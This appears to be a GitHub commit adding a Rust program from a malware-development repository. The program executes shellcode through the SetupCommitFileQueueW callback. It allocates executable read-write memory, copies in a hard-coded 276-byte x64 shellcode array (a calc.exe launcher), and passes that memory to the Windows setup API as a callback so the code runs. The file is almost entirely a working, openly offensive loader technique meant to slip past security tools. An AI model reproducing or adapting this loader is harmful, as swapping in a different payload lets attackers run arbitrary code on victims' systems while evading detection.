Skip to content

Commit 7d353cd

Browse files
committed
shellexec through SetupCommitFileQueueW
1 parent b042783 commit 7d353cd

File tree

1 file changed

+94
-0
lines changed

1 file changed

+94
-0
lines changed
Lines changed: 94 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,94 @@
1+
/*
2+
Shellcode Execution through SetupCommitFileQueueW
3+
For more Codes: https://github.com/Whitecat18/Rust-for-Malware-Development.git
4+
@5mukx
5+
*/
6+
7+
use winapi::um::setupapi::{
8+
SetupCommitFileQueueW,
9+
SetupOpenFileQueue,
10+
SetupQueueCopyW,
11+
SP_COPY_NOSKIP,
12+
};
13+
14+
use winapi::um::winuser::GetTopWindow;
15+
use winapi::ctypes::c_void;
16+
use std::ffi::OsStr;
17+
use std::os::windows::ffi::OsStrExt;
18+
use std::ptr::{
19+
copy_nonoverlapping,
20+
null_mut
21+
};
22+
23+
use winapi::um::{
24+
memoryapi::VirtualAlloc,
25+
winnt::{
26+
MEM_COMMIT,
27+
PAGE_EXECUTE_READWRITE,
28+
}
29+
};
30+
31+
fn main(){
32+
let shellcode: [u8; 276] = [
33+
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
34+
0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
35+
0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,
36+
0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
37+
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,
38+
0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
39+
0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,
40+
0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
41+
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,
42+
0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
43+
0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,
44+
0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
45+
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,
46+
0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
47+
0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,
48+
0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
49+
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
50+
0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
51+
0x63, 0x2e, 0x65, 0x78, 0x65, 0x00,
52+
];
53+
54+
unsafe{
55+
56+
let addr = VirtualAlloc(
57+
null_mut(),
58+
shellcode.len(),
59+
MEM_COMMIT,
60+
PAGE_EXECUTE_READWRITE,
61+
);
62+
63+
copy_nonoverlapping(
64+
shellcode.as_ptr(),
65+
addr as *mut u8,
66+
shellcode.len(),
67+
);
68+
69+
let hqueue: *mut c_void = SetupOpenFileQueue();
70+
let path = OsStr::new("c:\\").encode_wide().chain(Some(0)).collect::<Vec<_>>();
71+
let path1 = OsStr::new("\\windows\\system32\\").encode_wide().chain(Some(0)).collect::<Vec<_>>();
72+
let kernel32 = OsStr::new("kernel32.dll").encode_wide().chain(Some(0)).collect::<Vec<_>>();
73+
let temp = OsStr::new("c:\\windows\\temp\\kernel32.dll").encode_wide().chain(Some(0)).collect::<Vec<_>>();
74+
75+
SetupQueueCopyW(
76+
hqueue,
77+
path.as_ptr(),
78+
path1.as_ptr(),
79+
kernel32.as_ptr(),
80+
null_mut(),
81+
null_mut(),
82+
temp.as_ptr(),
83+
kernel32.as_ptr(),
84+
SP_COPY_NOSKIP,
85+
);
86+
87+
SetupCommitFileQueueW(
88+
GetTopWindow(null_mut()),
89+
hqueue,
90+
std::mem::transmute(addr),
91+
null_mut(),
92+
);
93+
}
94+
}

0 commit comments

Comments
 (0)